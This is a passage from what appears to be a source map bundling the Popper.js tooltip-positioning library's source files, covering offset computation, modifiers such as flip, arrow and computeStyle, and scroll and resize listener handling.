fixedPosition);\n}\n","/**\n * Get the outer sizes of the given element (offset size + margins)\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Object} object containing width and height properties\n */\nexport default function getOuterSizes(element) {\n  const window = element.ownerDocument.defaultView;\n  const styles = window.getComputedStyle(element);\n  const x = parseFloat(styles.marginTop) + parseFloat(styles.marginBottom);\n  const y = parseFloat(styles.marginLeft) + parseFloat(styles.marginRight);\n  const result = {\n    width: element.offsetWidth + y,\n    height: element.offsetHeight + x,\n  };\n  return result;\n}\n","/**\n * Get the opposite placement of the given one\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement\n * @returns {String} flipped placement\n */\nexport default function getOppositePlacement(placement) {\n  const hash = { left: 'right', right: 'left', bottom: 'top', top: 'bottom' };\n  return placement.replace(/left|right|bottom|top/g, matched => hash[matched]);\n}\n","import getOuterSizes from './getOuterSizes';\nimport getOppositePlacement from './getOppositePlacement';\n\n/**\n * Get offsets to the popper\n * @method\n * @memberof Popper.Utils\n * @param {Object} position - CSS position the Popper will get applied\n * @param {HTMLElement} popper - the popper element\n * @param {Object} referenceOffsets - the reference offsets (the popper will be relative to this)\n * @param {String} placement - one of the valid placement options\n * @returns {Object} popperOffsets - An object containing the offsets which will be applied to the popper\n */\nexport default function getPopperOffsets(popper, referenceOffsets, placement) {\n  placement = placement.split('-')[0];\n\n  // Get popper node sizes\n  const popperRect = getOuterSizes(popper);\n\n  // Add position, width and height to our offsets object\n  const popperOffsets = {\n    width: popperRect.width,\n    height: popperRect.height,\n  };\n\n  // depending by the popper placement we have to compute its offsets slightly differently\n  const isHoriz = ['right', 'left'].indexOf(placement) !== -1;\n  const mainSide = isHoriz ? 'top' : 'left';\n  const secondarySide = isHoriz ? 'left' : 'top';\n  const measurement = isHoriz ? 'height' : 'width';\n  const secondaryMeasurement = !isHoriz ? 'height' : 'width';\n\n  popperOffsets[mainSide] =\n    referenceOffsets[mainSide] +\n    referenceOffsets[measurement] / 2 -\n    popperRect[measurement] / 2;\n  if (placement === secondarySide) {\n    popperOffsets[secondarySide] =\n      referenceOffsets[secondarySide] - popperRect[secondaryMeasurement];\n  } else {\n    popperOffsets[secondarySide] =\n      referenceOffsets[getOppositePlacement(secondarySide)];\n  }\n\n  return popperOffsets;\n}\n","/**\n * Mimics the `find` method of Array\n * @method\n * @memberof Popper.Utils\n * @argument {Array} arr\n * @argument prop\n * @argument value\n * @returns index or -1\n */\nexport default function find(arr, check) {\n  // use native find if supported\n  if (Array.prototype.find) {\n    return arr.find(check);\n  }\n\n  // use `filter` to obtain the same behavior of `find`\n  return arr.filter(check)[0];\n}\n","import find from './find';\n\n/**\n * Return the index of the matching object\n * @method\n * @memberof Popper.Utils\n * @argument {Array} arr\n * @argument prop\n * @argument value\n * @returns index or -1\n */\nexport default function findIndex(arr, prop, value) {\n  // use native findIndex if supported\n  if (Array.prototype.findIndex) {\n    return arr.findIndex(cur => cur[prop] === value);\n  }\n\n  // use `find` + `indexOf` if `findIndex` isn't supported\n  const match = find(arr, obj => obj[prop] === value);\n  return arr.indexOf(match);\n}\n","import isFunction from './isFunction';\nimport findIndex from './findIndex';\nimport getClientRect from '../utils/getClientRect';\n\n/**\n * Loop trough the list of modifiers and run them in order,\n * each of them will then edit the data object.\n * @method\n * @memberof Popper.Utils\n * @param {dataObject} data\n * @param {Array} modifiers\n * @param {String} ends - Optional modifier name used as stopper\n * @returns {dataObject}\n */\nexport default function runModifiers(modifiers, data, ends) {\n  const modifiersToRun = ends === undefined\n    ? modifiers\n    : modifiers.slice(0, findIndex(modifiers, 'name', ends));\n\n  modifiersToRun.forEach(modifier => {\n    if (modifier['function']) { // eslint-disable-line dot-notation\n      console.warn('`modifier.function` is deprecated, use `modifier.fn`!');\n    }\n    const fn = modifier['function'] || modifier.fn; // eslint-disable-line dot-notation\n    if (modifier.enabled && isFunction(fn)) {\n      // Add properties to offsets to make them a complete clientRect object\n      // we do this before each modifier to make sure the previous one doesn't\n      // mess with these values\n      data.offsets.popper = getClientRect(data.offsets.popper);\n      data.offsets.reference = getClientRect(data.offsets.reference);\n\n      data = fn(data, modifier);\n    }\n  });\n\n  return data;\n}\n","import computeAutoPlacement from '../utils/computeAutoPlacement';\nimport getReferenceOffsets from '../utils/getReferenceOffsets';\nimport getPopperOffsets from '../utils/getPopperOffsets';\nimport runModifiers from '../utils/runModifiers';\n\n/**\n * Updates the position of the popper, computing the new offsets and applying\n * the new style.<br />\n * Prefer `scheduleUpdate` over `update` because of performance reasons.\n * @method\n * @memberof Popper\n */\nexport default function update() {\n  // if popper is destroyed, don't perform any further update\n  if (this.state.isDestroyed) {\n    return;\n  }\n\n  let data = {\n    instance: this,\n    styles: {},\n    arrowStyles: {},\n    attributes: {},\n    flipped: false,\n    offsets: {},\n  };\n\n  // compute reference element offsets\n  data.offsets.reference = getReferenceOffsets(\n    this.state,\n    this.popper,\n    this.reference,\n    this.options.positionFixed\n  );\n\n  // compute auto placement, store placement inside the data object,\n  // modifiers will be able to edit `placement` if needed\n  // and refer to originalPlacement to know the original value\n  data.placement = computeAutoPlacement(\n    this.options.placement,\n    data.offsets.reference,\n    this.popper,\n    this.reference,\n    this.options.modifiers.flip.boundariesElement,\n    this.options.modifiers.flip.padding\n  );\n\n  // store the computed placement inside `originalPlacement`\n  data.originalPlacement = data.placement;\n\n  data.positionFixed = this.options.positionFixed;\n\n  // compute the popper offsets\n  data.offsets.popper = getPopperOffsets(\n    this.popper,\n    data.offsets.reference,\n    data.placement\n  );\n\n  data.offsets.popper.position = this.options.positionFixed\n    ? 'fixed'\n    : 'absolute';\n\n  // run the modifiers\n  data = runModifiers(this.modifiers, data);\n\n  // the first `update` will call `onCreate` callback\n  // the other ones will call `onUpdate` callback\n  if (!this.state.isCreated) {\n    this.state.isCreated = true;\n    this.options.onCreate(data);\n  } else {\n    this.options.onUpdate(data);\n  }\n}\n","/**\n * Helper used to know if the given modifier is enabled.\n * @method\n * @memberof Popper.Utils\n * @returns {Boolean}\n */\nexport default function isModifierEnabled(modifiers, modifierName) {\n  return modifiers.some(\n    ({ name, enabled }) => enabled && name === modifierName\n  );\n}\n","/**\n * Get the prefixed supported property name\n * @method\n * @memberof Popper.Utils\n * @argument {String} property (camelCase)\n * @returns {String} prefixed property (camelCase or PascalCase, depending on the vendor prefix)\n */\nexport default function getSupportedPropertyName(property) {\n  const prefixes = [false, 'ms', 'Webkit', 'Moz', 'O'];\n  const upperProp = property.charAt(0).toUpperCase() + property.slice(1);\n\n  for (let i = 0; i < prefixes.length; i++) {\n    const prefix = prefixes[i];\n    const toCheck = prefix ? `${prefix}${upperProp}` : property;\n    if (typeof document.body.style[toCheck] !== 'undefined') {\n      return toCheck;\n    }\n  }\n  return null;\n}\n","import isModifierEnabled from '../utils/isModifierEnabled';\nimport getSupportedPropertyName from '../utils/getSupportedPropertyName';\n\n/**\n * Destroys the popper.\n * @method\n * @memberof Popper\n */\nexport default function destroy() {\n  this.state.isDestroyed = true;\n\n  // touch DOM only if `applyStyle` modifier is enabled\n  if (isModifierEnabled(this.modifiers, 'applyStyle')) {\n    this.popper.removeAttribute('x-placement');\n    this.popper.style.position = '';\n    this.popper.style.top = '';\n    this.popper.style.left = '';\n    this.popper.style.right = '';\n    this.popper.style.bottom = '';\n    this.popper.style.willChange = '';\n    this.popper.style[getSupportedPropertyName('transform')] = '';\n  }\n\n  this.disableEventListeners();\n\n  // remove the popper if user explicity asked for the deletion on destroy\n  // do not use `remove` because IE11 doesn't support it\n  if (this.options.removeOnDestroy) {\n    this.popper.parentNode.removeChild(this.popper);\n  }\n  return this;\n}\n","/**\n * Get the window associated with the element\n * @argument {Element} element\n * @returns {Window}\n */\nexport default function getWindow(element) {\n  const ownerDocument = element.ownerDocument;\n  return ownerDocument ? ownerDocument.defaultView : window;\n}\n","import getScrollParent from './getScrollParent';\nimport getWindow from './getWindow';\n\nfunction attachToScrollParents(scrollParent, event, callback, scrollParents) {\n  const isBody = scrollParent.nodeName === 'BODY';\n  const target = isBody ? scrollParent.ownerDocument.defaultView : scrollParent;\n  target.addEventListener(event, callback, { passive: true });\n\n  if (!isBody) {\n    attachToScrollParents(\n      getScrollParent(target.parentNode),\n      event,\n      callback,\n      scrollParents\n    );\n  }\n  scrollParents.push(target);\n}\n\n/**\n * Setup needed event listeners used to update the popper position\n * @method\n * @memberof Popper.Utils\n * @private\n */\nexport default function setupEventListeners(\n  reference,\n  options,\n  state,\n  updateBound\n) {\n  // Resize event listener on window\n  state.updateBound = updateBound;\n  getWindow(reference).addEventListener('resize', state.updateBound, { passive: true });\n\n  // Scroll event listener on scroll parents\n  const scrollElement = getScrollParent(reference);\n  attachToScrollParents(\n    scrollElement,\n    'scroll',\n    state.updateBound,\n    state.scrollParents\n  );\n  state.scrollElement = scrollElement;\n  state.eventsEnabled = true;\n\n  return state;\n}\n","import setupEventListeners from '../utils/setupEventListeners';\n\n/**\n * It will add resize/scroll events and start recalculating\n * position of the popper element when they are triggered.\n * @method\n * @memberof Popper\n */\nexport default function enableEventListeners() {\n  if (!this.state.eventsEnabled) {\n    this.state = setupEventListeners(\n      this.reference,\n      this.options,\n      this.state,\n      this.scheduleUpdate\n    );\n  }\n}\n","import getWindow from './getWindow';\n\n/**\n * Remove event listeners used to update the popper position\n * @method\n * @memberof Popper.Utils\n * @private\n */\nexport default function removeEventListeners(reference, state) {\n  // Remove resize event listener on window\n  getWindow(reference).removeEventListener('resize', state.updateBound);\n\n  // Remove scroll event listener on scroll parents\n  state.scrollParents.forEach(target => {\n    target.removeEventListener('scroll', state.updateBound);\n  });\n\n  // Reset state\n  state.updateBound = null;\n  state.scrollParents = [];\n  state.scrollElement = null;\n  state.eventsEnabled = false;\n  return state;\n}\n","import removeEventListeners from '../utils/removeEventListeners';\n\n/**\n * It will remove resize/scroll events and won't recalculate popper position\n * when they are triggered. It also won't trigger `onUpdate` callback anymore,\n * unless you call `update` method manually.\n * @method\n * @memberof Popper\n */\nexport default function disableEventListeners() {\n  if (this.state.eventsEnabled) {\n    cancelAnimationFrame(this.scheduleUpdate);\n    this.state = removeEventListeners(this.reference, this.state);\n  }\n}\n","/**\n * Tells if a given input is a number\n * @method\n * @memberof Popper.Utils\n * @param {*} input to check\n * @return {Boolean}\n */\nexport default function isNumeric(n) {\n  return n !== '' && !isNaN(parseFloat(n)) && isFinite(n);\n}\n","import isNumeric from './isNumeric';\n\n/**\n * Set the style to the given popper\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element - Element to apply the style to\n * @argument {Object} styles\n * Object with a list of properties and values which will be applied to the element\n */\nexport default function setStyles(element, styles) {\n  Object.keys(styles).forEach(prop => {\n    let unit = '';\n    // add unit if the value is numeric and is one of the following\n    if (\n      ['width', 'height', 'top', 'right', 'bottom', 'left'].indexOf(prop) !==\n        -1 &&\n      isNumeric(styles[prop])\n    ) {\n      unit = 'px';\n    }\n    element.style[prop] = styles[prop] + unit;\n  });\n}\n","/**\n * Set the attributes to the given popper\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element - Element to apply the attributes to\n * @argument {Object} styles\n * Object with a list of properties and values which will be applied to the element\n */\nexport default function setAttributes(element, attributes) {\n  Object.keys(attributes).forEach(function(prop) {\n    const value = attributes[prop];\n    if (value !== false) {\n      element.setAttribute(prop, attributes[prop]);\n    } else {\n      element.removeAttribute(prop);\n    }\n  });\n}\n","import setStyles from '../utils/setStyles';\nimport setAttributes from '../utils/setAttributes';\nimport getReferenceOffsets from '../utils/getReferenceOffsets';\nimport computeAutoPlacement from '../utils/computeAutoPlacement';\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} data.styles - List of style properties - values to apply to popper element\n * @argument {Object} data.attributes - List of attribute properties - values to apply to popper element\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The same data object\n */\nexport default function applyStyle(data) {\n  // any property present in `data.styles` will be applied to the popper,\n  // in this way we can make the 3rd party modifiers add custom styles to it\n  // Be aware, modifiers could override the properties defined in the previous\n  // lines of this modifier!\n  setStyles(data.instance.popper, data.styles);\n\n  // any property present in `data.attributes` will be applied to the popper,\n  // they will be set as HTML attributes of the element\n  setAttributes(data.instance.popper, data.attributes);\n\n  // if arrowElement is defined and arrowStyles has some properties\n  if (data.arrowElement && Object.keys(data.arrowStyles).length) {\n    setStyles(data.arrowElement, data.arrowStyles);\n  }\n\n  return data;\n}\n\n/**\n * Set the x-placement attribute before everything else because it could be used\n * to add margins to the popper margins needs to be calculated to get the\n * correct popper offsets.\n * @method\n * @memberof Popper.modifiers\n * @param {HTMLElement} reference - The reference element used to position the popper\n * @param {HTMLElement} popper - The HTML element used as popper\n * @param {Object} options - Popper.js options\n */\nexport function applyStyleOnLoad(\n  reference,\n  popper,\n  options,\n  modifierOptions,\n  state\n) {\n  // compute reference element offsets\n  const referenceOffsets = getReferenceOffsets(state, popper, reference, options.positionFixed);\n\n  // compute auto placement, store placement inside the data object,\n  // modifiers will be able to edit `placement` if needed\n  // and refer to originalPlacement to know the original value\n  const placement = computeAutoPlacement(\n    options.placement,\n    referenceOffsets,\n    popper,\n    reference,\n    options.modifiers.flip.boundariesElement,\n    options.modifiers.flip.padding\n  );\n\n  popper.setAttribute('x-placement', placement);\n\n  // Apply `position` to popper before anything else because\n  // without the position applied we can't guarantee correct computations\n  setStyles(popper, { position: options.positionFixed ? 'fixed' : 'absolute' });\n\n  return options;\n}\n","import getSupportedPropertyName from '../utils/getSupportedPropertyName';\nimport find from '../utils/find';\nimport getOffsetParent from '../utils/getOffsetParent';\nimport getBoundingClientRect from '../utils/getBoundingClientRect';\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function computeStyle(data, options) {\n  const { x, y } = options;\n  const { popper } = data.offsets;\n\n  // Remove this legacy support in Popper.js v2\n  const legacyGpuAccelerationOption = find(\n    data.instance.modifiers,\n    modifier => modifier.name === 'applyStyle'\n  ).gpuAcceleration;\n  if (legacyGpuAccelerationOption !== undefined) {\n    console.warn(\n      'WARNING: `gpuAcceleration` option moved to `computeStyle` modifier and will not be supported in future versions of Popper.js!'\n    );\n  }\n  const gpuAcceleration =\n    legacyGpuAccelerationOption !== undefined\n      ? legacyGpuAccelerationOption\n      : options.gpuAcceleration;\n\n  const offsetParent = getOffsetParent(data.instance.popper);\n  const offsetParentRect = getBoundingClientRect(offsetParent);\n\n  // Styles\n  const styles = {\n    position: popper.position,\n  };\n\n  // Avoid blurry text by using full pixel integers.\n  // For pixel-perfect positioning, top/bottom prefers rounded\n  // values, while left/right prefers floored values.\n  const offsets = {\n    left: Math.floor(popper.left),\n    top: Math.round(popper.top),\n    bottom: Math.round(popper.bottom),\n    right: Math.floor(popper.right),\n  };\n\n  const sideA = x === 'bottom' ? 'top' : 'bottom';\n  const sideB = y === 'right' ? 'left' : 'right';\n\n  // if gpuAcceleration is set to `true` and transform is supported,\n  //  we use `translate3d` to apply the position to the popper we\n  // automatically use the supported prefixed version if needed\n  const prefixedProperty = getSupportedPropertyName('transform');\n\n  // now, let's make a step back and look at this code closely (wtf?)\n  // If the content of the popper grows once it's been positioned, it\n  // may happen that the popper gets misplaced because of the new content\n  // overflowing its reference element\n  // To avoid this problem, we provide two options (x and y), which allow\n  // the consumer to define the offset origin.\n  // If we position a popper on top of a reference element, we can set\n  // `x` to `top` to make the popper grow towards its top instead of\n  // its bottom.\n  let left, top;\n  if (sideA === 'bottom') {\n    // when offsetParent is <html> the positioning is relative to the bottom of the screen (excluding the scrollbar)\n    // and not the bottom of the html element\n    if (offsetParent.nodeName === 'HTML') {\n      top = -offsetParent.clientHeight + offsets.bottom;\n    } else {\n      top = -offsetParentRect.height + offsets.bottom;\n    }\n  } else {\n    top = offsets.top;\n  }\n  if (sideB === 'right') {\n    if (offsetParent.nodeName === 'HTML') {\n      left = -offsetParent.clientWidth + offsets.right;\n    } else {\n      left = -offsetParentRect.width + offsets.right;\n    }\n  } else {\n    left = offsets.left;\n  }\n  if (gpuAcceleration && prefixedProperty) {\n    styles[prefixedProperty] = `translate3d(${left}px, ${top}px, 0)`;\n    styles[sideA] = 0;\n    styles[sideB] = 0;\n    styles.willChange = 'transform';\n  } else {\n    // othwerise, we use the standard `top`, `left`, `bottom` and `right` properties\n    const invertTop = sideA === 'bottom' ? -1 : 1;\n    const invertLeft = sideB === 'right' ? -1 : 1;\n    styles[sideA] = top * invertTop;\n    styles[sideB] = left * invertLeft;\n    styles.willChange = `${sideA}, ${sideB}`;\n  }\n\n  // Attributes\n  const attributes = {\n    'x-placement': data.placement,\n  };\n\n  // Update `data` attributes, styles and arrowStyles\n  data.attributes = { ...attributes, ...data.attributes };\n  data.styles = { ...styles, ...data.styles };\n  data.arrowStyles = { ...data.offsets.arrow, ...data.arrowStyles };\n\n  return data;\n}\n","import find from './find';\n\n/**\n * Helper used to know if the given modifier depends from another one.<br />\n * It checks if the needed modifier is listed and enabled.\n * @method\n * @memberof Popper.Utils\n * @param {Array} modifiers - list of modifiers\n * @param {String} requestingName - name of requesting modifier\n * @param {String} requestedName - name of requested modifier\n * @returns {Boolean}\n */\nexport default function isModifierRequired(\n  modifiers,\n  requestingName,\n  requestedName\n) {\n  const requesting = find(modifiers, ({ name }) => name === requestingName);\n\n  const isRequired =\n    !!requesting &&\n    modifiers.some(modifier => {\n      return (\n        modifier.name === requestedName &&\n        modifier.enabled &&\n        modifier.order < requesting.order\n      );\n    });\n\n  if (!isRequired) {\n    const requesting = `\\`${requestingName}\\``;\n    const requested = `\\`${requestedName}\\``;\n    console.warn(\n      `${requested} modifier is required by ${requesting} modifier in order to work, be sure to include it before ${requesting}!`\n    );\n  }\n  return isRequired;\n}\n","import getClientRect from '../utils/getClientRect';\nimport getOuterSizes from '../utils/getOuterSizes';\nimport isModifierRequired from '../utils/isModifierRequired';\nimport getStyleComputedProperty from '../utils/getStyleComputedProperty';\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function arrow(data, options) {\n  // arrow depends on keepTogether in order to work\n  if (!isModifierRequired(data.instance.modifiers, 'arrow', 'keepTogether')) {\n    return data;\n  }\n\n  let arrowElement = options.element;\n\n  // if arrowElement is a string, suppose it's a CSS selector\n  if (typeof arrowElement === 'string') {\n    arrowElement = data.instance.popper.querySelector(arrowElement);\n\n    // if arrowElement is not found, don't run the modifier\n    if (!arrowElement) {\n      return data;\n    }\n  } else {\n    // if the arrowElement isn't a query selector we must check that the\n    // provided DOM node is child of its popper node\n    if (!data.instance.popper.contains(arrowElement)) {\n      console.warn(\n        'WARNING: `arrow.element` must be child of its popper element!'\n      );\n      return data;\n    }\n  }\n\n  const placement = data.placement.split('-')[0];\n  const { popper, reference } = data.offsets;\n  const isVertical = ['left', 'right'].indexOf(placement) !== -1;\n\n  const len = isVertical ? 'height' : 'width';\n  const sideCapitalized = isVertical ? 'Top' : 'Left';\n  const side = sideCapitalized.toLowerCase();\n  const altSide = isVertical ? 'left' : 'top';\n  const opSide = isVertical ? 'bottom' : 'right';\n  const arrowElementSize = getOuterSizes(arrowElement)[len];\n\n  //\n  // extends keepTogether behavior making sure the popper and its\n  // reference have enough pixels in conjunction\n  //\n\n  // top/left side\n  if (reference[opSide] - arrowElementSize < popper[side]) {\n    data.offsets.popper[side] -=\n      popper[side] - (reference[opSide] - arrowElementSize);\n  }\n  // bottom/right side\n  if (reference[side] + arrowElementSize > popper[opSide]) {\n    data.offsets.popper[side] +=\n      reference[side] + arrowElementSize - popper[opSide];\n  }\n  data.offsets.popper = getClientRect(data.offsets.popper);\n\n  // compute center of the popper\n  const center = reference[side] + reference[len] / 2 - arrowElementSize / 2;\n\n  // Compute the sideValue using the updated popper offsets\n  // take popper margin in account because we don't have this info available\n  const css = getStyleComputedProperty(data.instance.popper);\n  const popperMarginSide = parseFloat(css[`margin${sideCapitalized}`], 10);\n  const popperBorderSide = parseFloat(css[`border${sideCapitalized}Width`], 10);\n  let sideValue =\n    center - data.offsets.popper[side] - popperMarginSide - popperBorderSide;\n\n  // prevent arrowElement from being placed not contiguously to its popper\n  sideValue = Math.max(Math.min(popper[len] - arrowElementSize, sideValue), 0);\n\n  data.arrowElement = arrowElement;\n  data.offsets.arrow = {\n    [side]: Math.round(sideValue),\n    [altSide]: '', // make sure to unset any eventual altSide value from the DOM node\n  };\n\n  return data;\n}\n","/**\n * Get the opposite placement variation of the given one\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement variation\n * @returns {String} flipped placement variation\n */\nexport default function getOppositeVariation(variation) {\n  if (variation === 'end') {\n    return 'start';\n  } else if (variation === 'start') {\n    return 'end';\n  }\n  return variation;\n}\n","/**\n * List of accepted placements to use as values of the `placement` option.<br />\n * Valid placements are:\n * - `auto`\n * - `top`\n * - `right`\n * - `bottom`\n * - `left`\n *\n * Each placement can have a variation from this list:\n * - `-start`\n * - `-end`\n *\n * Variations are interpreted easily if you think of them as the left to right\n * written languages. Horizontally (`top` and `bottom`), `start` is left and `end`\n * is right.<br />\n * Vertically (`left` and `right`), `start` is top and `end` is bottom.\n *\n * Some valid examples are:\n * - `top-end` (on top of reference, right aligned)\n * - `right-start` (on right of reference, top aligned)\n * - `bottom` (on bottom, centered)\n * - `auto-end` (on the side with more space available, alignment depends by placement)\n *\n * @static\n * @type {Array}\n * @enum {String}\n * @readonly\n * @method placements\n * @memberof Popper\n */\nexport default [\n  'auto-start',\n  'auto',\n  'auto-end',\n  'top-start',\n  'top',\n  'top-end',\n  'right-start',\n  'right',\n  'right-end',\n  'bottom-end',\n  'bottom',\n  'bottom-start',\n  'left-end',\n  'left',\n  'left-start',\n];\n","import placements from '../methods/placements';\n\n// Get rid of `auto` `auto-start` and `auto-end`\nconst validPlacements = placements.slice(3);\n\n/**\n * Given an initial placement, returns all the subsequent placements\n * clockwise (or counter-clockwise).\n *\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement - A valid placement (it accepts variations)\n * @argument {Boolean} counter - Set to true to walk the placements counterclockwise\n * @returns {Array} placements including their variations\n */\nexport default function clockwise(placement, counter = false) {\n  const index = validPlacements.indexOf(placement);\n  const arr = validPlacements\n    .slice(index + 1)\n    .concat(validPlacements.slice(0, index));\n  return counter ? arr.reverse() : arr;\n}\n","import getOppositePlacement from '../utils/getOppositePlacement';\nimport getOppositeVariation from '../utils/getOppositeVariation';\nimport getPopperOffsets from '../utils/getPopperOffsets';\nimport runModifiers from '../utils/runModifiers';\nimport getBoundaries from '../utils/getBoundaries';\nimport isModifierEnabled from '../utils/isModifierEnabled';\nimport clockwise from '../utils/clockwise';\n\nconst BEHAVIORS = {\n  FLIP: 'flip',\n  CLOCKWISE: 'clockwise',\n  COUNTERCLOCKWISE: 'counterclockwise',\n};\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function flip(data, options) {\n  // if `inner` modifier is enabled, we can't use the `flip` modifier\n  if (isModifierEnabled(data.instance.modifiers, 'inner')) {\n    return data;\n  }\n\n  if (data.flipped && data.placement === data.originalPlacement) {\n    // seems like flip is trying to loop, probably there's not enough space on any of the flippable sides\n    return data;\n  }\n\n  const boundaries = getBoundaries(\n    data.instance.popper,\n    data.instance.reference,\n    options.padding,\n    options.boundariesElement,\n    data.positionFixed\n  );\n\n  let placement = data.placement.split('-')[0];\n  let placementOpposite = getOppositePlacement(placement);\n  let variation = data.placement.split('-')[1] || '';\n\n  let flipOrder = [];\n\n  switch (options.behavior) {\n    case BEHAVIORS.FLIP:\n      flipOrder = [placement, placementOpposite];\n      break;\n    case BEHAVIORS.CLOCKWISE:\n      flipOrder = clockwise(placement);\n      break;\n    case BEHAVIORS.COUNTERCLOCKWISE:\n      flipOrder = clockwise(placement, true);\n      break;\n    default:\n      flipOrder = options.behavior;\n  }\n\n  flipOrder.forEach((step, index) => {\n    if (placement !== step || flipOrder.length === index + 1) {\n      return data;\n    }\n\n    placement = data.placement.split('-')[0];\n    placementOpposite = getOppositePlacement(placement);\n\n    const popperOffsets = data.offsets.popper;\n    const refOffsets = data.offsets.reference;\n\n    // using floor because the reference offsets may contain decimals we are not going to consider here\n    const floor = Math.floor;\n    const overlapsRef =\n      (placement === 'left' &&\n        floor(popperOffsets.right) > floor(refOffsets.left)) ||\n      (placement === 'right' &&\n        floor(popperOffsets.left) < floor(refOffsets.right)) ||\n      (placement === 'top' &&\n        floor(popperOffsets.bottom) > floor(refOffsets.top)) ||\n      (placement === 'bottom' &&\n        floor(popperOffsets.top) < floor(refOffsets.bottom));\n\n    const overflowsLeft = floor(popperOffsets.left) < floor(boundaries.left);\n    const overflowsRight = floor(popperOffsets.right) > floor(boundaries.right);\n    const overflowsTop = floor(popperOffsets.top) < floor(boundaries.top);\n    const overflowsBottom =\n      floor(popperOffsets.bottom) > floor(boundaries.bottom);\n\n    const overflowsBoundaries =\n      (placement === 'left' && overflowsLeft) ||\n      (placement === 'right' && overflowsRight) ||\n      (placement === 'top' && overflowsTop) ||\n      (placement === 'bottom' && overflowsBottom);\n\n    // flip the variation if required\n    const isVertical = ['top', 'bottom'].indexOf(placement) !== -1;\n    const flippedVariation =\n      !!options.flipVariations &&\n      ((isVertical && variation === 'start' && overflowsLeft) ||\n        (isVertical && variation === 'end' && overflowsRight) ||\n        (!isVertical && variation === 'start' && overflowsTop) ||\n        (!isVertical && variation === 'end' && overflowsBottom));\n\n    if (overlapsRef || overflowsBoundaries || flippedVariation) {\n      // this boolean to detect any flip loop\n      data.flipped = true;\n\n      if (overlapsRef || overflowsBoundaries) {\n        placement = flipOrder[index + 1];\n      }\n\n      if (flippedVariation) {\n        variation = getOppositeVariation(variation);\n      }\n\n      data.placement = placement + (variation ? '-' + variation : '');\n\n      // this object contains `position`, we want to preserve it along with\n      // any additional property we may add in the future\n      data.offsets.popper = {\n        ...data.offsets.popper,\n        ...getPopperOffsets(\n          data.instance.popper,\n          data.offsets.reference,\n          data.placement\n        ),\n      };\n\n      data = runModifiers(data.instance.modifiers, data, 'flip');\n    }\n  });\n  return data;\n}\n","/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function keepTogether(data) {\n  const { popper, reference } = data.offsets;\n  const placement = data.placement.split('-')[0];\n  const floor = Math.floor;\n  const isVertical = ['top', 'bottom'].indexOf(placement) !== -1;\n  const side = isVertical ? 'right' : 'bottom';\n  const opSide = isVertical ? 'left' : 'top';\n  const measurement = isVertical ? 'width' : 'height';\n\n  if (popper[side] < floor(reference[opSide])) {\n    data.offsets.popper[opSide] =\n      floor(reference[opSide]) - popper[measurement];\n  }\n  if (popper[opSide] > floor(reference[side])) {\n    data.offsets.popper[opSide] = floor(reference[side]);\n  }\n\n  return data;\n}\n","import isNumeric from '../utils/isNumeric';\nimport getClientRect from '../utils/getClientRect';\nimport find from '../utils/find';\n\n/**\n * Converts a string containing value + unit into a px value number\n * @function\n * @memberof {modifiers~offset}\n * @private\n * @argument {String} str - Value + unit string\n * @argument {String} measurement - `height` or `width`\n * @argument {Object} popperOffsets\n * @argument {Object} referenceOffsets\n * @returns {Number|String}\n * Value in pixels, or original string if no values were extracted\n */\nexport function toValue(str, measurement, popperOffsets, referenceOffsets) {\n  // separate value from unit\n  const split = str.match(/((?:\\-|\\+)?\\d*\\.?\\d*)(.*)/);\n  const value = +split[1];\n  const unit = split[2];\n\n  // If it's not a number it's an operator, I guess\n  if (!value) {\n    return str;\n  }\n\n  if (unit.indexOf('%') === 0) {\n    let element;\n    switch (unit) {\n      case '%p':\n        element = popperOffsets;\n        break;\n      case '%':\n      case '%r':\n      default:\n        element = referenceOffsets;\n    }\n\n    const rect = getClientRect(element);\n    return rect[measurement] / 100 * value;\n  } else if (unit === 'vh' || unit === 'vw') {\n    // if is a vh or vw, we calculate the size based on the viewport\n    let size;\n    if (unit === 'vh') {\n      size = Math.max(\n        document.documentElement.clientHeight,\n        window.innerHeight || 0\n      );\n    } else {\n      size = Math.max(\n        document.documentElement.clientWidth,\n        window.innerWidth || 0\n      );\n    }\n    return size / 100 * value;\n  } else {\n    // if is an explicit pixel unit, we get rid of the unit and keep the value\n    // if is an implicit unit, it's px, and we return just the value\n    return value;\n  }\n}\n\n/**\n * Parse an `offset` string to extrapolate `x` and `y` numeric offsets.\n * @function\n * @memberof {modifiers~offset}\n * @private\n * @argument {String} offset\n * @argument {Object} popperOffsets\n * @argument {Object} referenceOffsets\n * @argument {String} basePlacement\n * @returns {Array} a two cells array with x and y offsets in numbers\n */\nexport function parseOffset(\n  offset,\n  popperOffsets,\n  referenceOffsets,\n  basePlacement\n) {\n  const offsets = [0, 0];\n\n  // Use height if placement is left or right and index is 0 otherwise use width\n  // in this way the first offset will use an axis and the second one\n  // will use the other one\n  const useHeight = ['right', 'left'].indexOf(basePlacement) !== -1;\n\n  // Split the offset string to obtain a list of values and operands\n  // The regex addresses values with the plus or minus sign in front (+10, -20, etc)\n  const fragments = offset.split(/(\\+|\\-)/).map(frag => frag.trim());\n\n  // Detect if the offset string contains a pair of values or a single one\n  // they could be separated by comma or space\n  const divider = fragments.indexOf(\n    find(fragments, frag => frag.search(/,|\\s/) !== -1)\n  );\n\n  if (fragments[divider] && fragments[divider].indexOf(',') === -1) {\n    console.warn(\n      'Offsets separated by white space(s) are deprecated, use a comma (,) instead.'\n    );\n  }\n\n  // If divider is found, we divide the list of values and operands to divide\n  // them by ofset X and 